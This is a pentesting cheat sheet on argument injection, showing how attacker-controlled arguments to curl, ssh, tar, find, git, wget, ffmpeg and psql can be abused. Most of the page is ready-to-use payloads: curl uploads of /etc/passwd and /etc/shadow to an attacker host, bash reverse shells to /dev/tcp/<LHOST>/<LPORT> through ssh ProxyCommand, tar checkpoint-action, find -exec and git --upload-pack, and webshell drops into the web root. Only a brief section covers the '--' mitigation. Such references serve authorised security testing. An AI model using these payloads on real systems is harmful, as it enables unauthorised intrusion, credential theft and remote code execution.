Skip to content

Argument injection

The application calls a fixed binary safely (no shell, no concatenation), but you control one or more arguments. You can’t add new commands, but you can add new flags to the existing command - and many CLIs have flags that read files, write files, fetch URLs, or execute code.

Terminal window
# curl: read local file via -o, send via --upload-file, fetch URL of choice
;curl <ATTACKER>/exfil --upload-file /etc/passwd
# ssh: -o ProxyCommand executes arbitrary command
ssh -o ProxyCommand="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" x
# tar: --checkpoint-action=exec= runs arbitrary command
tar -cf /tmp/x.tar --checkpoint=1 --checkpoint-action=exec=id /tmp/anything
# find: -exec runs arbitrary command per match
find /tmp -exec id {} \;

Success indicator: the original binary executes, but with a side effect from your injected flag (file read, callback, RCE).

Command injection requires concatenation into a shell. Argument injection happens when the developer was trying to be safe:

# Developer-thinks-this-is-safe pattern
subprocess.run(['curl', user_input]) # no shell=True, no concatenation
// Same trap, PHP
escapeshellarg($url); // escapes shell metachars
$cmd = "curl " . escapeshellarg($url);
system($cmd);

Neither is exploitable to command injection - there’s no separator that survives. But if user_input starts with -, it’s a flag, not a URL. curl --output /tmp/x http://evil/payload writes a file. curl -K /etc/passwd reads a config file. The binary is doing exactly what it’s told.

The bug is in the developer’s mental model: “I sanitized for shell, so it’s safe.” Argument injection is the bug class that breaks that assumption.

  1. Identify the binary. Application calls curl, ssh, git, tar, convert, ffmpeg, wget, find, mv, cp, gzip, zip, unzip, gpg, openssl, mysql, psql, pg_dump, mysqldump, nmap, ping, traceroute, nslookup, dig. Anything where one parameter feeds into argv.

  2. Send a value starting with -. A URL, hostname, filename, or path that begins with - will be parsed as a flag. If the response changes (error, different output, unexpected file appears), the value reaches argv unchanged.

  3. Find the right flag. Read the man page. Look for flags that: write files (-o, --output), read files (-K, --config, -T, --upload-file), execute commands (-e, --exec, --use-compress-program), or load network resources.

  4. Confirm via side effect. OOB callback (curl <ATTACKER>) or file write (-o /tmp/canary) - same techniques as blind cmdi.

The most common target. Many features, many of them dangerous when an attacker picks the URL.

FlagEffectPayload
-o <FILE>Write to local file-o /var/www/html/shell.php http://<ATTACKER>/shell.php
-OWrite to filename from URL-O http://<ATTACKER>/anything
-K <FILE>Load config file (parses local file as curl config)-K /etc/passwd
-T <FILE>Upload local file via PUT-T /etc/passwd http://<ATTACKER>/
--upload-file <FILE>Same as -T--upload-file /etc/shadow http://<ATTACKER>/
--data-binary @<FILE>Send local file as POST body--data-binary @/etc/passwd http://<ATTACKER>/
--proto-default fileForce file:// protocol(with -o /tmp/x extracts files)

Example exploitation when the application runs curl <user-input>:

Terminal window
# Exfil /etc/passwd via PUT to your listener
--upload-file /etc/passwd http://<ATTACKER>/p
Terminal window
# Drop a webshell in the docroot
-o /var/www/html/s.php http://<ATTACKER>/s.php
Terminal window
# Read a local file by abusing config parser
-K /etc/passwd
# Exits with parse errors that include file content in error messages

-o accepts arbitrary OpenSSH config directives, including ones that execute commands.

DirectiveEffect
ProxyCommandRuns the command before connecting; arbitrary RCE
LocalCommand (with PermitLocalCommand=yes)Runs after auth

Payload when application runs ssh <user-input>:

Terminal window
-o ProxyCommand="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" anyhost

The anyhost argument is required (ssh demands a target); the ProxyCommand fires before any connection attempt, so the host doesn’t need to exist.

--checkpoint-action=exec= runs an arbitrary command after each checkpoint.

Terminal window
--checkpoint=1 --checkpoint-action=exec=id /tmp/decoy

Requires that you can pass at least one path-like argument (/tmp/decoy). Some tar versions also require a mode flag (-cf /dev/null):

Terminal window
-cf /dev/null --checkpoint=1 --checkpoint-action=exec="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" /tmp/decoy

The classic. -exec runs a command per match.

Terminal window
. -exec id \;
. -exec bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' \;

The \; terminates the -exec. URL-encode as %5C%3B if the application URL-decodes once.

Git’s hooks and config can execute commands during innocuous operations.

Terminal window
# git clone with --upload-pack runs the value as a command on `git ls-remote` / `git fetch`
clone --upload-pack="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" 'ssh://x/x'

The CVE-2017-1000117 family (ssh://-URL with -oProxyCommand) was patched but variants still surface. Worth testing.

Historically catastrophic (ImageTragick / CVE-2016-3714). Modern versions sandbox most issues, but check anyway:

Terminal window
# Old MVG/MSL/HTTPS coder bugs - patched but worth probing
'http://<ATTACKER>/x.png|id'
'msl:/tmp/exploit.msl'

If the application runs convert <user-input> output.png, an input filename starting with | triggered shell exec on old versions.

Terminal window
# HLS playlist with file:// - read local files
-i 'file:///etc/passwd' -c copy /tmp/x.txt

If you control input, ffmpeg’s protocol parser opens files, http, concat lists. Various CVEs in this space.

Terminal window
-O /var/www/html/s.php http://<ATTACKER>/s.php
--use-askpass=/usr/bin/id # CVE-2024 family - runs the askpass binary
Terminal window
# zip with --unzip-command (rare)
# 7z with @listfile reads file content as filename list

These are situational; the binaries are less commonly invoked from web apps.

Terminal window
# psql -c reads a command - RCE if you control the -c value
-c '\! id' # \! shells out in psql

The \! meta-command in psql runs shell commands. mysql client’s --init-command plus -e are similar.

  • mv, cp - --target-directory=, --reflink flags can be abused in race conditions
  • gpg - --use-agent, --exec-path - load attacker-controlled binaries
  • openssl - enc -in <FILE> reads files; useful for exfil through error messages
  1. Send --help or --version. If the response changes to look like CLI help text, you’re hitting argv directly. Almost certain argument injection.

  2. Send a value with leading -. If the application errors with “unknown option,” your value is being parsed as a flag.

  3. Send --config /etc/passwd or -K /etc/passwd. For curl/wget specifically. Errors that quote file contents = file read primitive.

  4. Send --output /tmp/canary. If /tmp/canary appears (read it via another endpoint or via cmdi if you also have it), you have file write.

  5. Send --exec id or -exec id \;. For find/tar. Look for uid= in any output channel.

Many binaries treat -- as “end of flags; everything after is positional.” Defenders sometimes inject -- before user input as a fix:

Terminal window
curl -- <user-input> # user-input cannot start with - now

This does mitigate argument injection for that specific call. But many binaries don’t honor --, and many call sites forget it. Test for whether -- is present by sending --help and seeing whether help text appears (no -- injected) or the literal --help is treated as a URL/filename (-- injected upstream).

  • Value does start with - but doesn’t reach argv. Application strips leading -, or wraps in quotes that survive argv splitting. Test by sending - alone and looking for behavior change.
  • Binary doesn’t have the flag you want. Check the exact version. curl --upload-file exists in modern versions; older builds may lack it. man curl on a similar system to see what’s available.
  • Flag exists but binary refuses to run with it. Some flags require config (PermitLocalCommand=yes for ssh’s LocalCommand). Use a flag that doesn’t need server-side cooperation.
  • Output is suppressed. You hit RCE via find -exec id but id’s output goes to a black hole. Wrap with OOB: -exec curl <ATTACKER>/$(id) \;.
  • Multiple arguments needed for the exploit. Application provides only one user-controlled slot. You need to fit the whole exploit into one argv element. Quote-wrapped flags (-o/tmp/x, no space) sometimes work; flags with = (--output=/tmp/x) usually do.
  • -- end-of-flags marker present. Application calls binary -- <input>. Argument injection mitigated for this slot. Look for other slots, or different binary.

Argument injection is underrepresented in references - it sits in a gap where command-injection scanners don’t trigger (no shell metacharacters) and parameter-validation tools don’t trigger (input is alphanumeric plus -). Real-world frequency is higher than the literature suggests, especially in CI/CD systems, file processing pipelines, and admin panels that wrap CLI tools. When you see an application invoking a CLI binary, always test for argument injection before assuming the developer’s escapeshellarg/shell=False defense holds.

The technique scales: every additional CLI binary in the application’s invocation graph is another potential argument-injection surface. A dashboard that renders Markdown via pandoc, generates PDFs via wkhtmltopdf, archives logs via tar, and pushes backups via rsync has four argument-injection candidates, each with its own flag vocabulary.